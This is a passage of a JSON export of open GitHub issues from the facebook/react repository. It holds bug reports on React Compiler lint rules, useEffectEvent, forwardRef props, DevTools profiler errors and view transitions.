"percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHZwhsAXAAgGEIBbABxwQ0IF4CAKASgNoD4DhMCDtdCAlngSkwrAgG00IAIbSANAWkAjaQF1M3Xjny8ZAG33KZcANbjmrDlww8eAgGaMHA-cJgIAJgElhogHT61ADmeAAWBBwADCw2dnYA9AkEACIQBJCkCOECGMFaPAC+WsUYWny6Lm4IHj5+YvRQYAgAsiIQDJbsnAUEHniwtkIiYCWKEsOiakyYhQDcmCDyIHwuwSggAhQQMIR4AJ7kCJwEAAr6UMG5APLkeAI6BIUEDjBkBADkxsoI+gC05AuVwwfw8Jjwf2wFFcNQSngE+A+CzKGAYcQISSh5FcMnuOBaEE8CGQSlkhmkswyuIRLgQYnOlxudweuCYcyW4DCEAA7t4aDUMAYwCgHEKEIUgA\n\n### Repro steps\n\nThe above example triggers `preserve-manual-memoization` when a callback references a memoized value declared later in the same component. If this behavior is intended, the error message could be clearer, as it is very hard to identify that the issue is caused by declaration order.\n\nMoving the callback after the useMemo will make the eslint compiler plugin happy again.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nlatest\n\n### What version of React Compiler are you using?\n\nlatest", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35035/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35034", "id": 3580287979, "node_id": "I_kwDOAJy2Ks7VZtvr", "number": 35034, "title": "Bug: useEffectEvent having different behaviors when used with memo and without memo", "user": { "login": "nuintun", "id": 1730277, "node_id": "MDQ6VXNlcjE3MzAyNzc=", "avatar_url": "https://avatars.githubusercontent.com/u/1730277?v=4", "gravatar_id": "", "url": "https://api.github.com/users/nuintun", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 1775957182, "node_id": "MDU6TGFiZWwxNzc1OTU3MTgy", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Stale", "name": "Resolution: Stale", "color": "e6e6e6", "default": false, "description": "Automatically closed due to inactivity" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2025-11-03T01:59:31Z", "updated_at": "2026-03-05T03:01:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Wrap components with memo\n\n\n\nLink to code example:\n\nhttps://codesandbox.io/p/sandbox/damp-dust-skq4hf\n\n\n\n## The current behavior\n\nHaving different behaviors\n\n![Image](https://github.com/user-attachments/assets/9e1814e5-3fa5-407e-afc1-52d874b80084)\n\n## The expected behavior\n\nHaving the same behavior\n", "closed_by": { "login": "nuintun", "id": 1730277, "node_id": "MDQ6VXNlcjE3MzAyNzc=", "avatar_url": "https://avatars.githubusercontent.com/u/1730277?v=4", "gravatar_id": "", "url": "https://api.github.com/users/nuintun", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35034/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35033", "id": 3578962280, "node_id": "I_kwDOAJy2Ks7VUqFo", "number": 35033, "title": "Typo in comment: “untill” → “until” in ReactDOMRoot.js", "user": { "login": "Ashish-coder-gif", "id": 197064959, "node_id": "U_kgDOC774_w", "avatar_url": "https://avatars.githubusercontent.com/u/197064959?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Ashish-coder-gif", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2025-11-02T04:50:27Z", "updated_at": "2026-01-09T02:43:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Describe the issue**\nThere’s a small typo in a comment inside `packages/react-dom/src/client/ReactDOMRoot.js`.\n\nExample:\n```js\n// NOTE: This is a workaround untill concurrent features are stabilized\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35033/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35029", "id": 3577174204, "node_id": "I_kwDOAJy2Ks7VN1i8", "number": 35029, "title": "[Compiler Bug]: set-state-in-effect false negative whenever tagged template literals are present", "user": { "login": "mdwyer6", "id": 15989909, "node_id": "MDQ6VXNlcjE1OTg5OTA5", "avatar_url": "https://avatars.githubusercontent.com/u/15989909?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mdwyer6", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-11-01T04:03:18Z", "updated_at": "2025-11-03T20:37:35Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://stackblitz.com/edit/stackblitz-starters-9kernjp2?file=app%2Fpage.tsx\n\n### Repro steps\n\nReact Compiler appears to bail out of functions whenever a tagged template literal is present. I've tested this with the `set-state-in-effect` rule but I believe this causes false negatives for any ESLint rule which uses the compiler. Some rules like `exhaustive-deps`, that I assume do not use the compiler, are unaffected.\n\n**Steps to reproduce**\n1. Write an invalid code snippet you expect to fail the set-state-in-effect rule\n2. Include a tagged template literal anywhere inside the same component as the invalid code\n3. Observe that the presence of the tagged template literal causes the error to be suppressed\n\nI've included a small reproduction with both `set-state-in-effect` and `exhaustive-deps` violations. Running `npm run lint` shows only the `exhaustive-deps` failure unless you comment out the tagged template \n\nThis might already be on your radar as React Compiler not supporting tagged template literals seems to be a [known issue](https://github.com/facebook/react/blob/488d88b018ee8fd1fac56cab22dfa8796ebce30b/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts#L2405) and this error [prevents lowering to HIR](https://github.com/facebook/react/blob/488d88b018ee8fd1fac56cab22dfa8796ebce30b/compiler/packages/babel-plugin-react-compiler/src/HIR/BuildHIR.ts#L227)\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19\n\n### What version of React Compiler are you using?\n\n1.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35029/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35028", "id": 3576575454, "node_id": "I_kwDOAJy2Ks7VLjXe", "number": 35028, "title": "Bug: state changes inside forwardRef change the props object reference", "user": { "login": "Hypnosphi", "id": 6651625, "node_id": "MDQ6VXNlcjY2NTE2MjU=", "avatar_url": "https://avatars.githubusercontent.com/u/6651625?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Hypnosphi", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-10-31T21:37:58Z", "updated_at": "2026-02-06T13:28:36Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: 19.2\n\n## Steps To Reproduce\n\n1. have a `forwardRef` component with a `useState` hook\n2. use `props` in a dependencies array, one common usecase can be extracting `...restProps`, Compiler [does](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCScB3MmQgJVIAoSoA7OXASwhd8AWQCeAQUyY2wfJhgRMAGnwA6dTARhcABQWYw+AL4rNJAJT5gAHSH5NuWEIA8hPgDcr61Zu17FYEb4APQAfLZG5rYgSiBwgiR8AOYoIHwAtth4+LiimAhW+DqUUEl8XADymPyChkEkCun4AOQARmStCJQAtJglZVzdmmS83fGZfJQIMMFu2s0A3La2Mrb4IcHjmJNkNVzCEMTI+NYgZJSUpxH4YLt8YIlaRf3lVXtg5gsx4AAWEHQASS4uGmXHOYBQ5EoYAQRiAA) that as well\n3. Render it, _passing a ref_ (doesn't reproduce without it)\n4. Update the state\n\n\n\nLink to code example:\n\n\nhttps://codesandbox.io/p/sandbox/react-dev-forked-j8ml7z\n\nOpen console and try typing. Observe props object being logged\n\n## The current behavior\n`props` object changes by reference\n\n## The expected behavior\nit should stay the same, to keep manual and compiled memoizations effective", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35028/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35024", "id": 3574318604, "node_id": "I_kwDOAJy2Ks7VC8YM", "number": 35024, "title": "[Compiler Bug]: TanStack Form incompatibility ", "user": { "login": "JamesHyot", "id": 16039131, "node_id": "MDQ6VXNlcjE2MDM5MTMx", "avatar_url": "https://avatars.githubusercontent.com/u/16039131?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JamesHyot", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-10-31T10:21:45Z", "updated_at": "2025-12-02T19:30:31Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAYmggDYAmAwhAHZ4IAehAvgQGYwQYCAcgB0Aeh64MAWjjNWHEXjBshAHSYb2OfLyhM4eNMwIAVdnko1aAOQh4A6rgDWaJgHMAFMWoBDAEY0ADQEABZotLQITAScyEQEfoHU8WB4MG7uIeGR0fH+EBDUCL4xnACURBoEBHJMabxUdAQAvCRkVnSMLBYAPGkZHgB8nuXVBDAIeLAxnuM1vUk0Q-M1BP1YpUPAS9ScvWJgm0wrmnhq53jAAIQ5UTEAZA8aF6+XF71uWFDnZ2--eAAbr5qFAEC1gDwmrQRGlfKwRMDQQhOC93uiLsx6KFSu5wcBPAhKi0ho1rCIcUxaMVsbiEISlL4YHi8IiQWDyqi-hi8GJTgCuWt1mJdqcamMmFytGwdIQePpDMYYuYOJ1aE4YK4PN5EgEaLF4j49SkCANMrFKsA0XUGlDrK12hRod0FIReqb0ubSaM0ZNpjBZmiPqKg5cNlsdsb9odjvz0Z8mN9fgC3kiwRC7XRYXh4Qg2cipTzMUxaR58YTiaTMzDKdSEKW8Qyc8ypvmOYWAXzQwcQ2cJZwQEEQHUoe4UOhsLhCHgAJ5YBAJAAKoPcbgA8lgjMwwLFePxBEJ-MbpFgV25pJNfIZZAIsGhijAxLQ0GkhABuF5MbzjMRiOTYe94SVABZCAoniNQQBBahII0bgwCAsA7R3ZcoFXJgNy3epyjfQdwFCCAAHcAEkegDEEwBQHgKJRIA\n\n### Repro steps\n\nWhen rendering something with an expression conditionally like this `{!hidden && field.handleChange(e.target.value)}/>}`, the \"memo dependencies\" to trigger a rerender are hidden and field.\nThis is different when rendering the input without a condition like this `{ field.handleChange(e.target.value)}/>}`, the \"memo dependencies\" are \"field.handleChange\" and \"field.state.value\".\n\nThis change of behavior can cause some unexpected issues:\n- in my case, using @tanstack/form, the field property isn't reactive in itself but its subproperties are. This prevents the input from updated its value when the user types inside the input\n- if field was reactive, a change inside field that is neither the value or handleChange would trigger a rerender that shouldn't be needed\n\n\nThis can happen with a `bool &&
` or with a `bool ?
:
` expression\n\nNot really sure if this is expected behavior and if it is, what is the recommended fix.\nI've opened an [issue](https://github.com/TanStack/form/issues/1832) over at @tanstack/form \n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35024/reactions", "total_count": 3, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35023", "id": 3574247124, "node_id": "I_kwDOAJy2Ks7VCq7U", "number": 35023, "title": "[DevTools Bug] Commit tree already contains fiber \"1088\". This is a bug in React DevTools.", "user": { "login": "MohitPatel1", "id": 96687927, "node_id": "U_kgDOBcNXNw", "avatar_url": "https://avatars.githubusercontent.com/u/96687927?v=4", "gravatar_id": "", "url": "https://api.github.com/users/MohitPatel1", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 7, "created_at": "2025-10-31T10:04:01Z", "updated_at": "2026-02-07T22:09:41Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nonline.smartagent.one/order/list\n\n### Repro steps\n\nmy profiler has broken\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCommit tree already contains fiber \"1088\". This is a bug in React DevTools.\n\n### Error call stack (automated)\n\n```text\nat updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:699600)\n at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:698760)\n at $e.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:703384)\n at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005870)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66940)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:97513)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:111594)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184246)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184102)\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:183886)\n```\n\n### Error component stack (automated)\n\n```text\nat CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005671)\n at div ()\n at div ()\n at div ()\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:879909)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1144384\n at ao (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:898411)\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901313\n at div ()\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at SuspenseTreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1147064)\n at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:915935)\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:994422)\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:986233)\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:786019)\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:815755)\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:972480)\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1175879)\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Commit tree already contains fiber . This is a bug in React DevTools. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35023/reactions", "total_count": 18, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 17, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35015", "id": 3569158659, "node_id": "I_kwDOAJy2Ks7UvQoD", "number": 35015, "title": "Bug: View Transitions occasionally stall with default `onDefaultTransitionIndicator`", "user": { "login": "denk0403", "id": 3473945, "node_id": "MDQ6VXNlcjM0NzM5NDU=", "avatar_url": "https://avatars.githubusercontent.com/u/3473945?v=4", "gravatar_id": "", "url": "https://api.github.com/users/denk0403", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-10-30T06:46:48Z", "updated_at": "2026-01-29T15:56:01Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nThe default `onDefaultTransitionIndicator` seems to sporadically stall view transitions. This does not occur with a custom `onDefaultTransitionIndicator` handler.\n\nThis occurs in Chrome, and Safari with the \"Navigation API\" feature flag enabled. This doesn't occur in Firefox because it doesn't support the Navigation API yet.\n| Chrome | Safari |\n| ------------- | ------------- |\n|
,\n document.body\n )\n );\n}\n\nconst data = {\n name: 'John Doe',\n age: 30,\n email: '[email protected]',\n phone: '1234567890',\n address: '123 Main St, Anytown, USA',\n};\n\nlet promise = null;\n\nconst getPromise = () => {\n if (promise) {\n return promise;\n }\n\n promise = new Promise((resolve) => setTimeout(() => resolve(data), 1000));\n\n return promise;\n};\n\nfunction DialogContent() {\n const resolved = use(getPromise());\n\n return (\n
\n

{resolved.name}

\n

{resolved.age}

\n

{resolved.email}

\n

{resolved.phone}

\n

{resolved.address}

\n
\n );\n}\n```\n\n## The current behavior\n\nWhen the modal dialog is opened/closed with `startTransition`, the view transition animation causes the background content (the button) to appear on top of the modal dialog during the transition. This creates a visual glitch where:\n\n1. The modal backdrop appears correctly\n2. The modal content gets rendered behind the button\n3. The button becomes visible on top of the modal during the transition\n4. After the transition completes, the visual hierarchy returns to normal\n\nThe issue is particularly noticeable because:\n\n- The button should be behind the modal backdrop but appears on top\n- This only happens during the view transition animation\n- The problem occurs specifically when using `createPortal` to render the modal\n\n## The expected behavior\n\nThe modal dialog should maintain proper visual hierarchy throughout the view transition animation:\n\n1. The modal backdrop should always be on top of the main content\n2. The modal content should always be on top of the backdrop\n3. The button should always be behind the modal backdrop\n4. The visual hierarchy should be maintained during the entire transition\n\nThe layering should work the same way as when `createPortal` is not used - smooth animations with proper visual hierarchy maintained throughout the transition.\n\n## Additional Context\n\n- This issue occurs specifically when combining `ViewTransition` and `createPortal`\n- The same code works perfectly when the modal is rendered inline without `createPortal`\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34769/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34752", "id": 3487077399, "node_id": "I_kwDOAJy2Ks7P2JQX", "number": 34752, "title": "[Compiler Bug]: Compiler incorrectly assumes non-nullability and lifts property access", "user": { "login": "pawelblaszczyk5", "id": 54995479, "node_id": "MDQ6VXNlcjU0OTk1NDc5", "avatar_url": "https://avatars.githubusercontent.com/u/54995479?v=4", "gravatar_id": "", "url": "https://api.github.com/users/pawelblaszczyk5", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 15, "created_at": "2025-10-06T12:36:38Z", "updated_at": "2025-12-02T03:10:46Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAUQA8BDAWwAcAbBXAXlwAoBKOgPl2AB0Ndd0s8AbRgIw5TGAQAaXJOwAlUeKwIAunVxRJAZWzFsCADzBcAE33FkuDFEqVcAX1wAfDmYtWTAMwQJTAI2I4AGsrHBgASwwAcwBuXGwAT3IEK05wKDhEMDB0x3zXE3M9TwTk1Nx0hBgYCBg8pwdWBiKPa1t7ByZY7m5efhxcAAtiDFNqbUzssC9bSf9SCJyIzA0tBHwvHzhsfAA3BAxsBmY2Dj7eXGIc6uORMQkEADpi4gB+J6SUulp6dLApqJciAZOkACpDJayIbQSimXD+GhRPYQYJ+XCYSiJXAAdyGh3celwUIBWSBszs2IBCwi2AMpnS3V6PEuAwg1CelAg0RauB8fkCISs92UkheFie-ICQWCjiZLK6PQwF3Wm22x1OtHYXBZvAiXkYIse4r0Hy+NF+fwyZJyjPOusuIzGE0BOQp80Wy0wzCVl0cFwcMmESmNr1U8ouImwsB4DAuvEM-igdMw8cumAAwpQIiFaMBNdq0365IoHipea9SlLBaFKiADDh0jJzWlrdMGnLfX7HA4i2UUrR0kmU8qQGnWH2ABIIOwQXF1OFpwwAemH2EwE5Z8ocSpBaEwXgi0RQIAiFDqeHNbgACpQoNEogB5cjYFZYfJeWqkXAAckCiMoABaKh7yiQCRCCbBAPQCgImoGBl1MJZsB-JVuBaC5l2XGDyDg-Q3wAWQgUwKnSYg7HSbgnDAfCZgiURcFvUCMGfV8JG6PcwBhHEAEkjmqDByLAFAvCEhAHCAA\n\n### Repro steps\n\nI'm using React Router fetchers for mutations, while migrating the app to 19.2.0 and trying to migrate some `useRef()` latest pattern to `useEffectEvent` I spotted weird bug with something being accessed despite being undefined at render.\n\nBasically, having a function that's supposed to be invoked only when some state is in shape X (e.g. successful response) eagerly accesses state that this function uses to cache it. It causes the error \"cannot read property of undefined\" error to occur\n\n\"Image\"\n\n1. I'm having a state which is an 